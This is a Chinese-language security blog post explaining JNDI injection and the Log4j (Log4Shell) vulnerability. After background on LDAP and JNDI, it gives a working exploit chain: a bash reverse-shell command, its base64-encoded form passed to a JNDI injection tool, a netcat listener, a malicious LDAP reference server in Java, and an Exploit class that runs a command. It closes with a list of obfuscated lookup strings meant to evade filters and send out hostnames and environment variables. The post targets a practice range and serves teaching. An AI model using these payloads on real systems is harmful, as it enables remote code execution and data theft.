Haast
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
JNDI注入
LDAP 轻量级目录访问协议
可以理解为是一种目录数据库,概念上类似于马云的中国黄页、城镇电话簿这种。
比较典型的应用场景:统一登录
例如:
一个公司下有很多系统比如OA、VPN之类巴拉巴拉的每个系统都有自己独立的账号,对于用户来说记起来会很麻烦,LDAP协议实现了统一这些接口,集中的存储了用户信息。
JNDI 命名服务(java命名和目录接口)
可以理解为是一个抽象的接口,通过jndi屏蔽了一些访问低层资源的细节
JDBC连接数据库的弊端
1、参数变动导致url得修改
2、数据库产品切换,驱动包修改
3、连接池参数的调整
JNDI:可以根据名字找到一个位置或者服务或者资源、对象
流程:
1、绑定发布一个服务 bind
2、查找服务 lookup
例如连接数据库
jdbc
String URL="jdbc:mysql://127.0.01:3306/xxx?useUnicode=true&characterEncoding=utf-8";
String USER="root";
String PASSWORD="123456";
在spring boot 用JNDI的方式
spring.datasource.jndi-name=jdbc/exampleDB //指定了JDBC的exampleDB数据库
定义方式如下
/conf/context.xml
<Context>
<Resource name="jdbc/exampleDB"
auth="Container"
type="Javax.sql.DataSource"
username="root"
password="123456"
driverClassName="com.mysql://localhost:3306/xxx"
maxTotal="8"
maxIdle="4"/>
</Context>
JNDI可以访问的服务:
DNS、XNam、Novell目录服务、LDAP、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
JNDI动态协议转换
当调用lookup()方法时,如果lookup方法的参数时一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象。
JNDI Naming Reference命名引用
当有客户端通过lookup(“refObj”)获取远程对象时,获取的是一个Reference的存根,由于是Reference的存根,所以客户端会先在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url动态加载。
为了加载LDAP服务之外的远程对象,它可以去定义一个叫Reference引用的类,并且可以把在LDAP服务之外的这个Reference引用的类注册到LDAP的服务里面,如果通过LDAP服务访问到是一个Reference外部类的时候,是可以从这个远程的服务器去加载这个对象,比如是java编译后的class文件并且会对它进行实例化。
例如:
用lookup去找如下代码中的test资源
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4J {
private static final Logger logger = LogManager.getLogger(Log4J.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:7912/test}");
}
}
发现没有这个资源,于是就会从如下代码中指定的地址中去下载那个文件,并且去执行其中的代码
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
/**
* class地址 用#Exploit代替Exploit.class
*/
private static final String EXPLOIT_CLASS_URL = "http://192.168.1.1:80/#Exploit";
JNDI注入的整体流程
1、 通过一个JNDI的接口传入恶意参数Exploit.class
2、访问目录服务,获得Reference存根,发现是一个不存在的refClassName对象
3、从指定远程HTTP服务器地址动态加载对象
4、Exploit.class下载到本地,并执行其中的代码
总结:
1、JNDI的客户端使用了lookup这个参数
2、这个lookup的参数是动态可控的
3、需要构建一个LDAP服务,指定远程加载地址为恶意代码地址
4、在客户端访问LDAP服务不存在的对象
5、客户端下载恶意代码到本地执行
漏洞复现
封神台靶场为例:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd
准备工作:需要一台具有公网ip的服务器:这里用的腾讯云的vps、还有利用工具
1:由于用的是腾讯云的vps所以需要在安全策略中把用到的端口都放开
2:构造一句反弹shell的语句:bash -i >& /dev/tcp/192.168.1.2/7314 0>&1 //直接改里面的ip和端口就可以
3:https://www.jackson-t.ca/runtime-exec-payloads.html //将改好的语句,放到这个网址编码
4、java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码" -A "服务器ip"
例如:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTQ4LjEyNy83MzE0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "101.43.148.127"
5、将生成的payload放到这里面${jndi:ldap://192.169.1.1:1389/2aqmzu}自行替换掉里面相应的内容
6、将payload输入到登录框中,密码随意敲,点击登录,同时开启nc -lvvp 端口,监听你语句中反弹shell的端口
7、getshell
本地通过代码复现:修改代码中对应的ip及端口号即可
准本工作:需要开启http服务,开放80端口
将如下代码编译成class文件,放在http服务器根目录下
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
执行如下代码
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
/**
* class地址 用#Exploit代替Exploit.class
*/
private static final String EXPLOIT_CLASS_URL = "http://192.168.1.1:80/#Exploit";
public static void main(String[] args) {
int port = 7912;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4J {
private static final Logger logger = LogManager.getLogger(Log4J.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:7912/test}");
}
}
成功执行弹出计算器
bypass
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)